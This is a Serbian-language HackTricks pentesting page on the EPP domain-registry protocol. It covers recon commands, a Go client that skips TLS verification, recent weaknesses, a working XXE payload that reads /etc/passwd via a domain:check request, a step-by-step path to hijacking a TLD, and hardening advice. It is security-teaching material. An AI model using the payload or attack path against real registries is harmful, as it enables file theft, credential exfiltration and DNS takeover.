700 - Pentesting EPP

Reading time: 5 minutes

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

Osnovne informacije

Extensible Provisioning Protocol (EPP) je mrežni protokol koji se koristi za upravljanje domenima i drugim internet resursima od strane registara domena i registrara. Omogućava automatizaciju procesa registracije, obnavljanja, prenosa i brisanja domena, osiguravajući standardizovan i siguran komunikacioni okvir između različitih entiteta u sistemu domena (DNS). EPP je dizajniran da bude fleksibilan i proširiv, omogućavajući dodavanje novih funkcija i komandi kako se potrebe internet infrastrukture razvijaju.

U suštini, to je jedan od protokola koje TLD registrar nudi registrarima domena za registraciju novih domena u TLD.

Pentest

U ovom veoma interesantnom članku možete videti kako su neki istraživači bezbednosti otkrili da su nekoliko implementacija ovog protokola bile ranjive na XXE (XML External Entity) jer ovaj protokol koristi XML za komunikaciju, što bi omogućilo napadačima da preuzmu desetine različitih TLD-ova.


Enumeracija i Recon

EPP serveri gotovo uvek slušaju na TCP 700/tcp preko TLS-a. Tipična implementacija takođe sprovodi uzajamni TLS (mTLS), tako da klijent mora da predstavi važeći sertifikat koji je izdao CA registra. Ipak, mnoge privatne testne ili pre-produkcijske implementacije zaboravljaju tu kontrolu:

bash
# Banner-grabbing / TLS inspection
nmap -p700 --script ssl-cert,ssl-enum-ciphers <target>

# Check if mTLS is *really* required (it frequently is not!)
openssl s_client -connect <target>:700 -quiet \
-servername epp.test 2>/dev/null | head

Ako server ne prekine vezu nakon TLS rukovanja, možete pokušati da pošaljete neautentifikovanu <hello/> poruku:

xml
<?xml version="1.0" encoding="UTF-8"?>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<hello/>
</epp>

Open-source klijenti korisni za testiranje

  • epp-client (Go) – aktivno održavan, podržava TCP/TLS i EPP-over-HTTPS (RFC 8730): go install github.com/domainr/epp/cmd/epp@latest
  • gandi/go-epp – minimalna biblioteka klijenta koja se lako može instrumentisati za fuzzing ili nuclei-stil radne tokove.
  • afq984/php-epp-client – PHP implementacija koju koriste mnogi mali registrari; zgodan cilj za pregled koda.

Primer minimalnog skripta za prijavu+proveru sa Go epp-client:

go
package main
import (
"github.com/domainr/epp"
"crypto/tls"
)

func main() {
cfg := &tls.Config{InsecureSkipVerify: true}
c, _ := epp.DialTLS("epp.test:700", cfg)
c.Login("CLIENT_ID", "PASSWORD", nil)
resp, _ := c.DomainCheck("example","com")
println(resp)
}

Uobičajene slabosti i ranjivosti 2023-2025

GodinaKomponentaCWEUticaj
2023CoCCA Registry < 3.5CWE-611 XXEUdaljeno čitanje fajlova i SSRF putem kreiranog <epp> payload-a (zakrpa: 2023-11-02)
2024FRED EPP Server 2.xCWE-322 Nedovoljna validacija TLS sertifikataZaobilaženje mTLS omogućilo neovlašćen pristup registraru
2025Proprietary registrar panelCWE-306 Nedostajuća autentifikacija za kritičnu funkcijuTačka odobrenja prenosa domena izložena preko EPP-HTTP mosta

XXE / SSRF payload (radi protiv mnogih Java/Spring implementacija)

xml
<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<epp xmlns="urn:ietf:params:xml:ns:epp-1.0">
<command>
<check>
<domain:check xmlns:domain="urn:ietf:params:xml:ns:domain-1.0">
<domain:name>&xxe;</domain:name>
</domain:check>
</check>
</command>
</epp>

Kada je parser pogrešno konfiguran (XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES=true), sadržaj datoteke se vraća unutar <resData> strukture.

Ostala tipična otkrića

  1. Slaba politika kredencijala – EPP prijavne fraze kraće od 8 karaktera; brute-force je često izvodljiv jer specifikacija samo PREPORUČUJE (ne zahteva) ograničavanje brzine.
  2. Nedostajući registryLock / serverUpdateProhibited status – nakon autentifikacije, napadači mogu odmah ažurirati NS zapise i ukrasti saobraćaj.
  3. Nepotpisane poruke za anketu – neke implementacije još uvek ne potpisuju poruke Q&A anketa, omogućavajući spoofing/phishing operatera registra.

Put napada: Od nule do otmice TLD-a

  1. Otkrijte EPP krajnju tačku (često skrivena iza generičkog hosta kao što je ot&e.<tld>.nic.<cc>).
  2. Iskoristite jednu od gornjih slabosti da dobijete kredencijale na nivou registra (XXE → SSRF do IMDSv1, eksfiltracija kredencijala, ili TLS-bypass).
  3. Izdajte <update> zahteve da promenite hostObj zapise domena na servere imenom napadača.
  4. (Opcionalno) Podnesite <transfer> da prebacite domen na registrar pod kontrolom napadača – mnogi registri se još uvek oslanjaju na jedan auth-code.
  5. Profit: potpuna kontrola DNS zone, mogućnost zahteva TLS sertifikata putem ACME.

Odbrambene mere i učvršćivanje

  • Sprovodite mTLS sa klijent sertifikatima po registru i pinujte CA registra.
  • Postavite parserFeature secure-processing=true ili ekvivalentno da ubijete XXE.
  • Izvršite kontinuirano fuzzing XML parsera (npr. sa go-fuzz ili jazzer za Java).
  • Implementirajte Registry Lock / server*Prohibited statuse za domene visoke vrednosti.
  • Pratite poll red za sumnjive <transfer> ili <update> komande i obaveštavajte u realnom vremenu.
  • ICANN 2024 izmene ugovora o DNS-zloupotrebi zahtevaju od registara da dokažu kontrole brzine i autentifikacije – iskoristite ih.

Reference

  • ICANN Savetodavni komitet za bezbednost i stabilnost (SSAC). "SAC118: Posledice neuspeha operatera registra da implementira EPP bezbednosne kontrole". 2024.
  • HackCompute – "Hacking EPP servera: zloupotreba XXE za otmicu TLD-ova" (2023).

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks